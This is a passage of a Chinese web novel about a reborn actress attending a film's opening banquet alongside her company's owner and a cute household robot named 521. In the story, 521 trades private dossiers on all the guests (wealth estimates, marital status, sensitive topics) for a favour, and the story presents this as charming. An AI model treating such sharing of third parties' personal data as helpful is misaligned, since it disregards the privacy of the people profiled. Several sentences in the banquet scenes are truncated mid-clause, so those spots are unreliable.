张姐把车停在了不远处的树荫下,算是一个难得的好位置。 车里看上去没人,漆黑一片,又贴了防窥膜,隔着玻璃什么也看不见,黎数瞄了会,没上车,在树荫地下等人,顺带吹吹暖风。 寒冬的记忆停留在她骨髓深处,黎数不知道为什么,重生回来以后总有些怕冷。 四月的天在树荫下很凉快,就是蚊子有点多,不一会黎数身上就多了十几个包。 她受不了了,拉开车门上了车。 令人意外的是,车里的空调开着,黎数身上的一层薄汗瞬间消退,看着坐在车里的陆嵬沉默了片刻,才一抬脚坐了上去。 “……陆总。” 黎数想起陆嵬刚刚可能就坐在车厢里,面无表情的看自己绕着车窗转悠一圈的样子就有点窒息,“你在车里啊。” “我一直在。”陆嵬撇她一眼,“裘夏不是告诉你,我带你一起回去吗?” 裘夏说了,但没说你就在车里啊。 黎数哽了下,但还没等她说什么,驾驶座的车门再次被打开。 张姐上车的同时,交给了陆嵬两个包装极其精美的包裹。 陆嵬看了眼,把其中一个盒子交给了黎数。 车辆逐渐驶离林荫下,车里的光线也变凉了很多,黎数借着日光看了眼,说道:“这是什么?” 陆嵬闭着眼,身体向后靠倒,淡淡说:“今晚的礼服。” 礼服看上去像是订做的,黎数想起之前裘夏让她填过身体数据,也找过人上门给她二次测量身体各项数据,没再问废话,说了声谢谢。 一路上太安静,她不由自主的想起了从前。 陆嵬和她都很忙,都有各自的事业,但陆嵬并不能算是一个无趣的人。 有的时候她腾出假期了,会来剧组找她,藏在自己的保姆车里,谁也不告诉,等她上车了才一下子扑出来。 黎数又望向在无人的时候总显得格外沉默也与世界都隔离的陆嵬,回想起从前的一切,不免唏嘘。 黎数想起自己的职责,看向了另外一个显然是同一家订做的包裹,打起精神说道:“晚上的开机宴我们是要穿……情侣装?” 陆嵬睁开眼,表情显得有些狐疑,说道:“不用这么尽职,情侣装没有必要,太假了。” 黎数笑笑。 好,没必要。 以前也不知道是谁总喜欢买东西成双的。 “那是我误会了。”黎数指了指另外一个包裹,“我还以为陆总是订了两套礼服,晚上要我一起穿呢。” 陆嵬的目光落向那套衣服,过了一会才说:“那套是给……朋友的。” 黎数‘哦’了一声,涉及到与她无关的隐私,也察觉到陆嵬听起来不太高兴的语气,就没再多问。 第23章 第二十三章【VIP】 黎数在车上睡了一小觉,察觉到车子停下不动的时候刚好睁开了眼。 陆嵬从另外一边下了车,张姐察觉到她醒了,冲着她笑了笑,说道:“黎小姐醒啦。” 黎数点点头,“张姐,你还要出去吗?” 张姐点头,笑着说:“陆总说今天晚上的晚宴要搭配一套首饰,我再去一趟银行给拿过来。” 黎数应了声,打开车门,顺手拎起了自己那套礼服的盒子、带着元宝一起下了车。 黎数打开门就闻到了一楼的香气,是周姨在厨房忙活。 黎数看着厨房里女性宽厚忙碌又有条不紊的背影,有些出神。 陆嵬没在楼下,回来以后应该是直接上了楼。 黎数把元宝从猫箱放出去,就听到有一阵阵轮子滚动的声音从电梯的方向过来。 她抬起头一看,居然是一个无线的智能机器人。 它的高度大概到成人腰间,胖胖的方圆形长条。 胸口有一个大屏幕,暂时显示的还是它圆滚滚的身体,上面是一个大约只有两厘米左右的脖子,脖子上面用粉色的电子屏拼凑出了一个蝴蝶结,椭圆微方的脑袋,屏幕中心是一个非常灿烂的笑脸,猫咪嘴,加粗的胡须模样的三条小腮蓝。 很可爱的小机器人。 黎数有点挪不开眼。 “小黎你好,欢迎回家。”机器人一路笑着迎来,声音是偏向童声的电子音。 “我的名字叫做521,因为我出生于2027年5月21日这么一个伟大的时刻。现暂时任职代理主人陆嵬的私人管家,4.1日因为差点被饿死所以被送往总部维护并升级学习,现已圆满完成进修任务。在这个家里,你有任何困难都可以向我求助,我会为您献上最诚挚、最满意、最安心的服务。” 机器人走到黎数身边,圆脑袋上下将黎数扫描了一下,随后身体升高,胸前的大屏幕上就出现了今天晚上黎数的穿搭预览。 “这是主人为今晚出席晚宴做出的搭配,我已经发送到了你的微信,请务必通过我的好友申请并注意查收喔。” 521两眼变成了爱心,胸口之前黎数以为是装饰的两个猫咪揣的小手居然是真的,从身体两侧伸出,灵活的交握在一起,朝着黎数拜了拜。 黎数笑着拿出手机,发现果然有一个好友申请。 她通过好友认证后,顶着521的圆机器脑袋的头像果然发来了一条超高清的图片,一点看不出P图痕迹。 黎数将图片保存,意识到张姐去取得首饰可能是要给自己戴的。 因为陆嵬不喜欢戴首饰,也没打过耳洞,常年习惯电脑办公的人也不会佩戴手镯和戒指。 图片里的首饰是一套紫色翡翠,水头很足,黎数以前也陪陆嵬出入过几次拍卖场,这一套仅从图片上看,算是紫翡里上好的品质了。 她看着眼前的机器人,忽然说道:“我可以摸一摸你吗?” “当然可以。”521连连点头。 黎数的手试探性的抚摸上去,惊讶的说:“你是温的。” 又变冰了。 521很骄傲:“我出厂就带有恒温、变温性能,也可以作为一款暖床机器人陪睡。” 黎数止不住的惊讶,这实在是太神奇了。 两年前其实也有类似的人工智能,黎数在网上刷到过,一般是银行大厅会有的,主要用来迎宾和分流、登记,但是最多的还是和等的无聊的客户聊天。 但大多都是有另外一个人为控制端,只是一个可以自助操作的机械平台罢了。 但即便是如此,黎数还没见过谁家里有。 两年过去,她不知道这一行业发展到了什么程度,但看起来已经完全对得起“人工智能”这四个字了,不免对机器人升起了极为浓厚的兴趣。 元宝倒是见怪不怪,踩着轻盈的步伐走到了自己位于厨房的小碗边,对着自动饮水机喝完了水,左右看看,又跑回了大门口。 黎数还以为元宝是来找自己的,却不想元宝仰着尖尖的小下巴环视一圈,目标对准了陆嵬的鞋子就冲了过去。 黎数没在意,还想问问521都可以做什么功能,但521捕捉到了元宝机敏的动作,迅速的发出了尖锐的爆鸣声:“警报,警报,警报!” 黎数吓了一跳,以为机器人被她摸出了什么故障,就见521的屏幕一闪,两条宽面条泪流了出来,“完了,完了,天塌了,元宝又尿到陆嵬鞋子里了,陆嵬又要不给我饭吃了。” 黎数低头,和已经报完仇,正往她腿上爬的元宝对视一眼。 元宝歪头,嗲兮兮的:“喵。” 干坏事的时候就容易被抓包…… 她已经洗完了澡,出一机器齐聚在门口,实在是没法忽视,朝这边说:“聚会吗?” 的泪眼和元宝满不在乎的猫脸,还是没证据呈现出去,闷不作声的上了楼。 ,发现情形已经变了。 元宝大摇大摆的踩在521的脑袋上,面前是一小碟周姨给剥好的牛肉条。 而521正谄媚的绕着陆嵬极尽讨好的絮絮叨叨的说话。 黎数坐到自己之前的位置上,想了想还是问道:“521刚刚说你会不给它饭吃,它还需要吃饭吗?” “机器人数据资料库更新,以及充电。”陆嵬言简意赅:“否则在它们机器人的小团体里,它就会被认为是低学历智障,被排挤淘汰。” 黎数恍然,又惊奇又新鲜。 机器人居然还有内部交流群。 陆嵬点了点客厅桌子上的一个盒子,说道:“那是你晚上的饰品。” 黎数应了一声,说:“521刚刚给我看了预览图,应该很合身。谢谢陆总。” 陆嵬没什么反应,默不作声的吃着饭。 很快,为了表示自己真的很有大用的模样,521又凑到了黎数的身边,两只暖呼呼的仿真小手轻轻搭在她的手臂上。 “小黎,小黎,你可不可以帮我求求情啊,我真的不是故意的,我又不是战斗机器人,没有元宝的行动迅速这个事情实在是太正常了,你让主人不要惩罚我了好不好啊?作为交换,我可以给你提供今晚宴会的额外情报。” 黎数先看了眼陆嵬,见她并没什么反应,就说道:“什么额外情报?” 521不疑有他,‘叮咚’一声响后,黎数的手机收到了几条新信息。 她打开看了一眼,居然是今天晚宴的所有人的资料。 资料很宽泛,年龄、代表作、不愿意被提及的雷作、婚姻状况、兴趣爱好,甚至还有评估的财产状况等等。 这些资料一般参加节目的话,艺人会向导演组那边提供一些,但大多都是什么不能提及,又希望被提及什么,以及艺人的一些常规注意事项。 但像是今天这么齐的,黎数还真没见过。 她由衷道:“多谢。” 她看到了今天上午在大合照环节抢占位置的那个女人的资料。 汪兰,47岁,未婚但有一个女儿,曾经获取过最佳女配角的五次提名,但每一次都和奖项擦肩而过。 其中有三次,奖项的最后归属者,黎数发现居然都是自己。 也难怪她上午会用那样的眼神看自己。 平心而论,自己如果次次都被同一个人压上一头,时间久了都会有气。 但这也不是她攻击一个只是几分相似的新人的理由。 不过这些事情如果提前都能知道,恐怕可以避开很多没必要的摩擦,也提前能有心理准备,即便遇到事情了,也有一个大概的应急预案,知道怎么处理。 现在拿到手也不晚,比起上午简单没什么太多深入交流的仪式,今天的晚宴恐怕才是重头戏,免不了要提起精神去应对。 黎数感激道:“谢谢你521,你真的帮了大忙了。” 521又摇摇黎数的手臂,可怜巴巴的望着她。 明明是一个机器人,可它会说话、会动,会撒娇、还会卖萌,甚至还有人的体温。 黎数也不知道陆嵬会不会搭理自己,还是硬着头皮问了一句。 陆嵬吃饭的间隙抬头看了她一眼,语气冷漠的说道:“我没说要不给它吃饭,是它自己以为的。” 黎数摸摸521的假发给它顺假毛。 然后小声说:“你主人说你可以吃饭了。”- 晚宴开始时间是晚上七点半,就在剧组的酒店宴会厅办。 黎数也收到了工作人员和裘夏发来的信息,明天正式进组,补拍定妆照和宣传照,同时发放剧本。 黎数一一回复收到,打算去试试衣服和首饰,虽然尺码正确,但上身效果还要真的试过才行,也来得及做修改。 刚把礼盒拆开,门被从外面敲响。 黎数回过头,听到521清脆的声音在门那边说:“下午好小黎,请问我可以和元宝一起进你的卧室吗?” “可以。”黎数应了一声,惊讶的发现521居然还会开门。 它的背后有一个类似小背篓模样的框子,围栏并不高,但元宝在里面已经睡着了。 进到黎数的房间里面它也没醒过来,睡得四仰八叉,一条腿还在随着521前进后退的动作摆动。 “你找我吗?”黎数很喜欢这个小机器人,也觉得手痒。 521点点头,双手交握放在小腹前,“我来辅助你换衣服,如果有不合身的地方可以交给我,我来帮你修改。” “你还会裁缝?” “会的。” 黎数不由问道:“你还会做什么啊?” 521眨了眨眼,开始非常骄傲的说:“作为一个全能形态的辅助机器人,我会P图,模拟人声对词,裁剪服饰,取外卖,制冰,制冷,取暖,扇风,同时还擅长家庭维护,修理彩电,空调、洗衣机、洗衣机等等设备,另外也可以提供陪聊、陪玩、陪睡服务。总而言之,我的主人需要我做什么,我都可以学习并升级相关系统。” 黎数简直叹为观止。 或许已经不止两年了。 她很早以前就曾经听说过,在一些富豪家庭里就已经拥有了一站式管理的人工智能,只是一直也没机会见识过。 521的功能看起来真的很多,但似乎又可以随时被各种更底价的物品取代。 黎数小心的问了问:“你知道你自己多少钱吗?” 如果有可能,她还真想自己也能拥有这样的一台机器人。 521小脑转转了转:“由于技术保密和出口管理原则,我的价格需要保密。” 黎数点点头。 但521话锋一转:“但是我很贵,我超贵的喔。” 黎数忍俊不禁,“好。知道了。” 她托着下巴,懒洋洋的和这个跟她坐下来后差不多高的小机器人聊天:“那你的主人平时都需要你做什么?” 陆嵬家里的设备也算常规,没有什么超出黎数认知范围的电子设备,日用电子产品更新迭代速度再快,但终究要讲究一个‘国民’二字。 但521很快的露出了一个沮丧的表情来,嗓音有点悲伤:“她不是我真正的主人,她说她不需要我。” 黎数一怔:“什么?” 521很难过的把自己的背篓挪到了胸口,极人性化的捧住了元宝热乎乎的小身体,难过的说:“虽然她是我的代理主人,我也暂时留在她的家里担任私人管家,可是她没有任何用的到我的地方。我每天只能在家里乱转,或者是帮助周姨剥蒜瓣。” 521很快又眼睛一亮说道:“但是我有真正的主人,我是为她而生的,总有一天,她会来接我回家。陆嵬告诉我,我主人是一个很好的人,她不会体罚我,不会让我饿肚子,会抱着我看电影,抱着我睡觉,给我放电影,还会给我买漂亮裙子的。” 黎数不知道该说什么,很轻的摸了摸521的脑袋。 第24章 第二十四章【VIP】 六点半左右,黎数和陆嵬从家里出发。 张姐见到黎数时,有一瞬间被惊艳到,半天都挪不开眼。 半晌,张姐才不好意思的说:“黎小姐随便打扮打扮都这么好看的。” 黎数笑了笑:“您过奖了。” 经过两个月的修养,她已经和张姐初见时的模样大不相同了,虽然比起正常人来说还是偏瘦很多,但比起那时候来说要胖了一点,脸上也终于有了点血色,是很能让人轻易放下戒备、拉近人好感的温柔长相。 黎数刚做过妆发,并不夸张,头发简单的编在脑后,没有戴头饰,整体偏素,只有耳垂和脖颈上的紫翡浑然天成,恰到好处的添了一丝温柔和浪漫,也能显现出对于这次晚宴的重视。 黎数从房间出来前曾经在镜子里端详过自已好一会,最后才终于确定——妆造过后,她看起来越来越像曾经的自已了。 也或许不只是妆造的原因,但黎数一时之间也区分不开,只知道如果此刻将少女面试《秘宝》时的照片,再拿出去和现在的自已作对比,恐怕没有人会以为,这会是同一张脸。 就连下楼的时候陆嵬都短暂的愣了愣神- 裘夏已经先一步到了酒店,一路上和黎数一一比对现场来的人,并且补充这些人的信息。 黎数来之前被521培训过,加上常年背词,记忆力本身就强,不管裘夏问什么她都能对答如流。 不过521给的毕竟太过模板化,人与人之间的了解大多需要通过沟通。 【裘夏:你到了以后注意点汪兰,她和你对手戏不少,上一次开机仪式你俩闹了点小摩擦,今晚上试试能不能化解一下干戈。】 黎数想起汪兰的那个眼神,皱了皱眉,恐怕不好解决。 汪兰的矛盾并非针对她,而是针对汪兰自已,那天在场的,随便换成一个别的谁,汪兰都会那么做。 【黎数:那要是化解不了呢?】 【裘夏:那就不化解。我让你去找她只是省的拍戏过程中麻烦。】 【裘夏:汪兰的戏好,七八年前是靠一个商业片的女强人形象出圈的,后来同样的角色又演了不少,已经形成了一套偷懒的模板。】 黎数知道裘夏是在告诉她不要妄图吃角色的红利吃一辈子,对演戏也要有野心,不能只满足于眼前的成就。 因为这对于一个演员来说是致命的,等到角色红利吃完了,观众产生审美疲劳了,那演艺生涯也就到头了。 【裘夏:她被女强人的标签贴死了,戏路单一,形象没突破,演技上也不再精进,明显已经在走下坡了,近年电视剧圈她都没什么片约,和你未来发展也没关系。】 黎数心里有数了,回了个‘知道了’。 汪兰演出的角色应该就是先前试的那一场戏里,陆嵬帮忙搭配的那个角色。 虽然现在还没拿到剧本,可黎数也知道,两人的对手戏恐怕不会少。 如果关系搞不好,那样的剧情下,是擦不出任何火花的。 可能实拍的时候,甚至都不如和陆嵬试戏的那一场来的惊艳。 手机又震了震,黎数低下头。 【裘夏:对了,陆嵬跟你一起来了吗?】 黎数看了眼臭着脸闭目养神的陆嵬。 【黎数:来了。】 迟疑片刻,黎数又敲下一句:【但是她看起来不太高兴。】 裘夏发来了个奸笑的表情包。 紧接着蹦出来一句:【正常,对她来说,这种场合,出席和出殡没两样。】 黎数收起手机,望着窗外逐渐亮起的霓虹灯走神。 从前她也没有太留意过陆嵬是不是经常需要出入这种场合,但想必应该是要的。 毕竟她从前是总导演,又兼寰宇董事长的双重职位,需要出息的场面实在太多。 即便这两个不谈,她父母双方从小到大的应酬应该也不会少,要培养陆嵬,势必会带着她从小就开始见人。 但这段时间以来,她的确没见陆嵬出入过什么酒局宴会。 家里也没见到过除了两个阿姨以外的人出入。 黎数仔细想了想,以前自已似乎也没有在这种场合上见到过陆嵬,毕竟作为演员,她自已从前的应酬很多,可从没有和陆嵬的交集线重合过。 不知道陆嵬是压根不在意,还是单纯的不想来- 宴厅位于五楼,两人刚从电梯出去,裘夏了过来。 迎宾打开大门的前一秒,” 停住。 陆嵬回过头,不等裘夏问为什么,转身向黎数 差点忘了。 黎数反省了下自已是不是不太够敬业。 她挽住陆嵬的手臂,扛住了裘夏白眼翻上天的表情,跟着陆嵬一起进了门。 全国的宴会厅都大差不差,罗马柱、鲜花台、鎏金灯,脚下的红地毯,配着摆满了水果、食物的餐桌,和四处可见的香槟塔。 有不少地方都可以通*向外面的大平台,露天泳池虽然开放着,但剧组刚开机,大家都不熟悉,温度也低,在外面吹风乘凉的人有不少,却没人下水。 陆嵬仿佛什么都没发生过一样,神色自若的说:“都有谁来了?” 裘夏抱着胳膊,走在陆嵬的身边,说道:“核心的五组该来的人都来了,衍生出品方都来了代表,都在包厢里,其他人和演员都在外面宴会厅,你呢?待会上哪?” 陆嵬没说。 裘夏也不问了,随意叮嘱了黎数两句后又丢下一句:“那我去找我老婆了,你们自已玩吧。” 黎数看着裘夏的背影消失在走廊,终于忍不住问:“夏姐老婆是谁啊?怎么哪里都在?” 上次在公司的时候还好说,只是说回家给老婆做饭,黎数那时候还以为裘夏老婆也是公司的骨干,出差刚回来。 但开机仪式的时候裘夏也说找老婆,今晚晚宴还是找老婆。 她想了一圈,想起这几次在场,又不属于演员阵营的人,说道:“是投资人或者是出品方吗?” 陆嵬歪歪头:“算是。” 她没有告知的意思,黎数就也没再往下追问。 办公室恋情在绝大多数行业都是被禁止的,能理解。 她们两个神情自若,早就已经习惯了被人行注目礼,彼此交流的也自然顺畅。 黎数甚至进来后就习惯性的去取了一杯香槟,又给陆嵬取了一杯干红。 也是因此,谁都没发现,此刻大厅有一种诡异的、刻意压低声音交流的情况,而她们两个已经隐隐成了视觉中心。 直到刚刚上厕所的林辰星走到了黎数的身边,叫了她一声:“黎数?” 又转过头,略拘谨的朝着陆嵬点点头,主动举了举酒杯:“陆总。” 陆嵬‘嗯’了一声。 黎数同样朝她举杯示意,同时点点头说,“晚上好。” 上午的开机仪式仓促,彼此要上台、上合影,要按照规定的位置站着听,也要顾忌各家粉丝,基本都没怎么好好交流过。 幕后和台前分开,也是开机宴的惯例,提前给这些演员们一个认识的桥梁。 陆嵬拍拍黎数的胳膊,开口的语气像是长辈叮嘱晚辈,“去和演员们打个招呼吧。” 黎数表情有点微妙的奇怪。 她和陆嵬住在一起之前其实见面不多,交流时也没有什么明显的差异化,大家都是处于一个平等的层面上交谈。 即便是后来和陆嵬住在一起,聊天时也没感到过岁数和辈分上有差距。 这次这种感觉突然横空出现了。 岁数上的颠倒让她有点难以适应,但她也知道,她现在在外看来就是个十八岁小女孩。 不管再成熟,再稳重,都是十八岁。 陆嵬不论是岁数,还是资历,再或是社会地位,不论哪一点,用这种口气和她说话都是再正常不过了。 黎数努力适应着陆嵬的语气,但还是哽了一下,才点头说:“好。” 陆嵬目光看着黎数手上的酒杯,也不管旁边还站着一个林辰星,自顾自说:“今晚的酒度数都不高,但也别混着喝,这边玩的差不多了,就过来找我,我带你见见人。” 酒不能混着喝这句话她从前经常叮嘱陆嵬,现在陆嵬也学会用这话来关心别人。 陆嵬想了想,又想起来一句,背台词似的说:“吃点东西垫垫。” 黎数调整好了自已,露出一抹浅笑来,乖巧点头:“知道了。” 陆嵬转身进了包厢。 现场的气氛实在是有些诡异。 黎数意识到了自已或许在不知不觉中已经成了人群关注的重点,但想想和陆嵬的协议,也没有回避,而是环视了一圈现场的演员们。 《国家秘宝》因为题材特殊,其实算是一个群像电影,请来的大腕也不在少数。 只是真正能被人称之为一声‘前辈’和‘老师’的,也都不在这个厅,而是在包厢里面。 外面的演员们大多咖位不相上下,只是也依稀分成了三两拨。 林辰星在这波人里,应该也属于上面圈层的。 这姑娘爱憎太分明,但是也有点太没心眼了。 黎数看她忙忙碌碌的给自已介绍人认识。 不多时就问候了一小圈,联系方式也加了不少。 中场休息的时候,黎数不由说道:“你对谁都是这么热情吗?” 林辰星满脸诧异:“怎么可能?今天是我老板吩咐我说多照看你,带你认识认识人的,熟悉了以后,对拍戏也有点帮助。” 沈凝雪? 黎数表情滞了下。 她找人关照自已做什么? 林辰星没注意到黎数的表情变化,又继续说道:“我老板说你演技很好,又有灵气,还签到了陆总公司,就连带你的人都是裘总,以后前途不可限量,让我多跟你玩玩,说不定能多学到点东西。” 说到这里,林辰星漂亮的脸蛋出现了些许怅然:“我演技也就那样,你别看我手里有好几个小爆的剧,但我心里也知道,那是因为角色和我本人贴,剧播过后,受益方都是男主角而不是我。与其说是我有演技,不如说是有运气,被剧本和导演选中了。” 林辰星是近两年才火起来的小花,黎数当然不可能看过她演出的电视剧,也不知道她都是和谁搭档。 她对林辰星的演技也没有直观的认识,上一次试镜时也因为被单独带走而没有看到,有心想对她的照顾回报一二,但也无从下手。 何况以她现在的资历,贸贸然去‘指点’林辰星,会不会惹人反感还是另外一回事。 她也只能拍拍林辰星的手,说道:“多接一些不同的角色,演技一定会慢慢提升的。” 林辰星摇摇头,有点苦涩:“哪有那么容易。其实之前我老板给过我选择,到底是拍偶像剧快速进入市场红起来,还是从小配角正剧慢慢磨演技,稳扎稳打的走到观众视野里,是我自已选的走流量迅速红的路子。” 黎数也知道了林辰星的困境究竟是什么了。 她选择了快速走红的路子,必然就要放弃掉很多能够学习的机会。 这在年轻小花中并不少见。 偶像剧市场良莠不齐,即便林辰星是凝火娱乐力捧的小花,可导演才才是决定一部剧热度的上限的根基。 以林辰星现在的岁数和电视剧市场的热度,她是听不到什么实话的。 她知道自已问题所在,可她的剧播出的成绩却很好,即便是被骂着,都会有无数粉丝去帮她维护,帮她说话,何况她本身和角色就贴合。 也导致现在的林辰星必须要不断进组保持作品产出和热度,根本没有了能去提升的机会。 黎数想了会,想起几年前陆嵬跟她提过的综艺概念,试探性的说:“演技类的综艺呢?你有考虑过吗?” 陆嵬跟她提起这个概念的时候,黎数还没有什么出圈的作品,那已经是很早的时候了。 陆嵬的本意是想让许许多多像是黎数一样,有演技、有能力、却因为热度原因而接不到好的剧本的演员,可以有一个崭露头角、被更多人认识的机会。 她死的时候,这个综艺概念刚刚被投入市场,两年过去也不知道发展的程度怎么样。 闻言林辰星惊讶抬头,表情像惊喜小狗:“你怎么和我老板说的一样啊?她也说让我多去几个正经的演技类综艺节目上学点东西。” 黎数笑了笑:“可能是旁观者清吧。” 看林辰星的模样,这个综艺的模式应该已经成熟化了。 黎数想了想,按照陆嵬当初跟她讲过的、真正可以演员的演技有帮助的模式说道:“你可以请你经纪人或者是老板帮你筛选一下,有没有什么节目,是针对演员的演技提升而创办、又可以请到娱乐圈真正的前辈来当做指导老师的,而这些老师,最好是演员和导演都有,且在圈内口碑都比较不错的。” 林辰星‘嗯’了声,陷入了沉思。 “这种综艺自带群星的热度,也将演员最真实的一面剖析开放在了大众面前审判,是需要一定勇气的。你上这种综艺,一部分是给观众看到你的决心,一部分,也是因为它可以保持你一定的热度,对你来说,利大于弊。” 林辰星的性格不差,也没什么太大的脾气,没什么心眼容易吃亏,参加这种综艺,容易被人当枪。 如果没什么背景的话,也容易被幕后操作恶剪祭天。 但作为凝火捧的小花,片方再剪辑时会跟凝火达成共识,所以这一类综艺,对她而言,是最好也最合适的方式。 不知不觉,两人已经脱离了宴会大厅,逐渐走到了较为僻静的一个阳台角落。 林辰星将话都听进去了。 黎数的演技她是亲眼见过的,甚至不夸张的讲,哪怕未来有一天,黎数会拿到影后的桂冠她都不会有任何的惊讶。 但没想到看待未来发展也这么见解独到,她的困境已经持续了很久,自已都看不明白自已的前路,却没想到能被黎数一针见血的指出,并快速的给出对策和相应的理由。 她看着黎数的脸庞,甚至已经完全看不出初见时那个瘦的有点皮包骨的模样。 隐隐约约间,有一种似曾相识的沉稳和淡定。 林辰星不由沮丧,叹气道:“明明我还比你大几岁,但怎么感觉你比我成熟很多啊,说话都一套接一套的。” 黎数没忍住,摸摸林辰星的头,说:“可能是因为我有一个妹妹吧。” 林辰星炸毛,“我比你大了六岁啊!你才是我妹妹!” 有什么东西被砸到了地面上,弹了几下,力道不重。 两人吓了一跳,回头找声音来源,又去找是谁这么无聊,引人注意还用这么小儿科的手段。 一窗之隔的斜角阳台上,陆嵬的手臂撑在阳台扶手上,手里是旁边圆形花坛里用来装饰的鹅卵石。 她许是喝多了酒,眼神有些朦胧,领口的扣子解开了两颗,露出了漂亮的锁骨。 见两人看到她了,陆嵬才开了口:“你哪来的什么妹妹。” 屋里有人听到了阳台上的动静,陆嵬回头说了两句话,屋里的人走出来,站到了陆嵬的身边。 是沈凝雪。 黎数安静了下来。 沈凝雪穿着一身宝蓝色的长裙,将她的身材衬托的玲珑有致,同样是简单的盘发,但整体打扮上多了几分稳重和正式。 她手上端了杯水,陆嵬接过,喝了两口,又把杯子递回去给她。 沈凝雪端着陆嵬喝完水的杯子也不在意,还朝着这边招了招手。 林辰星拽拽黎数的手腕,小声说道:“完了完了完了完了,那边都是大佬啊,叫咱们过去干嘛啊。” 陆嵬眯了眯眼,喊道:“小黎,来,见见长辈。” 林辰星消音了,想起来刚刚黎数和陆嵬进来的时候,陆嵬就说要带她见见人的。 黎数语气淡淡:“知道了。” 第25章 第二十五章【VIP】 演员还剩下大半没见完,这边陆嵬和沈凝雪又在喊着她俩过去见长辈。 林辰星年纪毕竟不算大,见状有点不知所措:“怎么办啊,这还有一半的人都没见过,现在突然进包间,出来以后再和他们就不好再聊天了。” 陪着黎数一个个的见演员,除了沈凝雪的叮嘱之外,一方面是两人一起好有话题,另一方也是因为目标大,离得老远就能被注意到,不用担心打断人家的对话引人反感。 进包间的路大家都盯着,但凡从里面随便出来一个人都会有人蜂拥上去敬酒,何况是她们这样大摇大摆的直接进去。 ——刚刚黎数挽着陆嵬的手进来,身边还跟着裘夏,已经足够惹人眼球了。 过程当中黎数也透露了自己是寰宇的艺人,目前是裘夏在带她,而女性之间关系好,互相挽着手出场似乎也没什么。 和领导关系好到可以挽手的,在场的人都不在少数。 就像是她也一直挽着黎数的手。 可如果再进了包厢,真正意义上和这群演员拉开差距,那性质就不一样了。 黎数轻抿了一口酒,从手包里拿出手机。 她低声说:“先见完演员再说。” 林辰星‘啊’了声,大眼一扫,其实剩下的也没几个了,宴会进行到现在半小时,大多工作人员和演员都四散开,早已经玩嗨了。 角落里打牌的、玩桌游的,甚至有玩的开的,就这样三三两两钻到包厢里面不出来的也有。 她迟疑着说:“雪姐和陆总那边会不会有意见?” 黎数说:“不会。” 一边给陆嵬发消息:【陆总,您不是想显示对我这个冒牌货的重视吗?】 【陆嵬:你有想法?】 黎数想起刚刚陆嵬那副像是招小猫似的语气和动作,顿了顿,回复:【那就麻烦您,过个几分钟,再过来请我进去。】 发完消息,黎数也不等陆嵬回复,自顾自又取了杯香槟,往里面光明正大的兑了点白水。 林辰星吓一跳,赶忙过去挡着,却发现其实也没多少人注意到。 “本来也不用喝太多,你还兑水干嘛啊?”林辰星狐疑的扫了眼黎数的脸色。 发现黎数的耳根已经有些发红了,“你酒量这么差吗?” 黎数摇摇头:“不晕,可能有点上脸吧,以前没喝这么多过。” 但是似乎有点上脸。 脸上带着妆倒也还好,只是从装饰反光里看,耳朵红的有点厉害,脖子也有点泛红。 这段时间要关注、要整合清理的事情太多,加上也没机会喝,完全忘记了要试试这个身体酒量这件事情。 比她预想的似乎要好很多。 黎数皱了皱眉,脑海中突然闪回了一个视频片段——那还是原主在一统直播凑时长的时候,她似乎曾经在镜头里说过,她酒量很差,一瓶啤酒就会觉得晕。 但是也不能确定是不是真的。 这一场下来,她喝的再少,差不多也得有个半斤酒了。 香槟度数低,但也比啤的高一些,至今也没感觉到晕。 这两年间,原主的酒量变好了? 黎数觉得似乎是忽略了什么,但一时间也想不出个头绪来。 她看了看不远处的汪兰,想起裘夏的嘱托,顿了顿,说道:“走吧,去和汪兰说两句。”- 包厢里酒气烟雾弥漫。 既然是宴,就免不了要喝酒。 桌子上、地上,横七竖八的瓶子散了一地,黄红白混杂,洋的有墨高VSOP干邑白兰地和路易老爷,本土的有夜郎古、五粮液,还有不少鲜酿的生啤。 酒桌文化到哪都必不可免,谁来都得喝到起不来。 但这帮自诩文人的还稍显要点脸,加上中间还有几个不管岁数还是资历上都算是行业泰斗级别的人坐镇,他们也不多敢太放肆。 一整个客座沙发上的人满满当当围了一圈,服务员还进来加过几次座,喝高了以后也不管座不座了,哪能坐就是座。 费鹤鸣位于正中央的位置无人撼动,她身边围着的是这部戏里戏份不算多,但地位极重,也算是投资以及监制之一的演员秦在时,已经半隐退了,近些年很少出山。 再往边上走,导演组和编剧组的在旁边开小桌,副导和摄影组的骨干在一边咬耳朵。 落独自玩植物大战僵尸,时不时还跟人网上聊会闲天,极偶尔抬个头,像是能溜。 的资源,也没什么值得多攀附的交情,聊了没多会,裘夏就已经躲到后面的单 陆嵬今天几乎是来者不拒,有人敬她她就喝,左一杯白的右一杯黄的,也分不清都是谁。 小时,她喝了不少了。 ,但陆嵬没让,自顾自喝自己的。 终于陆嵬手机震了震,她眉梢一杨,托沈凝雪帮个忙。 沈凝雪没听清,屋里吵吵嚷嚷的声音太密集,所有人都恨不得扯着嗓子吼。 她也跟着大声:“什么?” 陆嵬凑近了点,嘴巴上沾到点沈凝雪的头发丝,她不耐烦的扒拉一下,把沈凝雪的头推远了点,点点手机屏幕,敲下来一行字。 【把她给我请进来。】 左上角备注是‘小黎。’,对话框里是陆嵬让她看的字。 前一条消息,是黎数刚发来的。 【小黎:陆总,劳您大驾,请我进去。】 沈凝雪短短一眼扫过对话,陆嵬似乎也没有阻拦的意思,任由她看。 沈凝雪讶异的打量了眼陆嵬,一时间也分不清她对眼前的这个小黎到底抱有什么样的感情。 说喜欢谈不上,说同事又不单薄。 她静了两秒,比了个‘ok’的首饰,捞捞裙子,从沙发上站起来往外走了。 沈凝雪前脚刚走,陆嵬望着这一屋子人,伸手敲了敲桌上的铃。 每个包间备的都有,铃声穿透力强,敲了几下后场上渐渐安静了下来,还有几个挣的面红耳赤的,音消了,脸上的激动还没消。 陆嵬喝得多了,动起来手脚发软,但脑子是清明的。 她挺享受这种微醺的感觉,加上心情确实不错,是以说话的时候还带了点笑。 这就让对她刻意营造出来的假象又加深了些许的误解。 “待会给各位介绍个人。”陆嵬活动了下胳膊,向后靠在椅背上,“她年纪小,刚入行,不懂事,以后进了各位的组,还得请诸位前辈多多包涵。” 说罢,她找了找秦霜,顶着秦霜‘你不要喊我啊’的目光,微微笑了笑说:“叫叫咱们裘总,那也是她的人。” 秦霜松了口气,不是让她发言就行。 裘夏就睡在她旁边的座上,头上蒙的衣服一拿开,人两眼清明,压根就没睡着。 费鹤鸣目光微闪:“你说小黎?” 陆嵬笑笑,“是她。您还记得啊。” 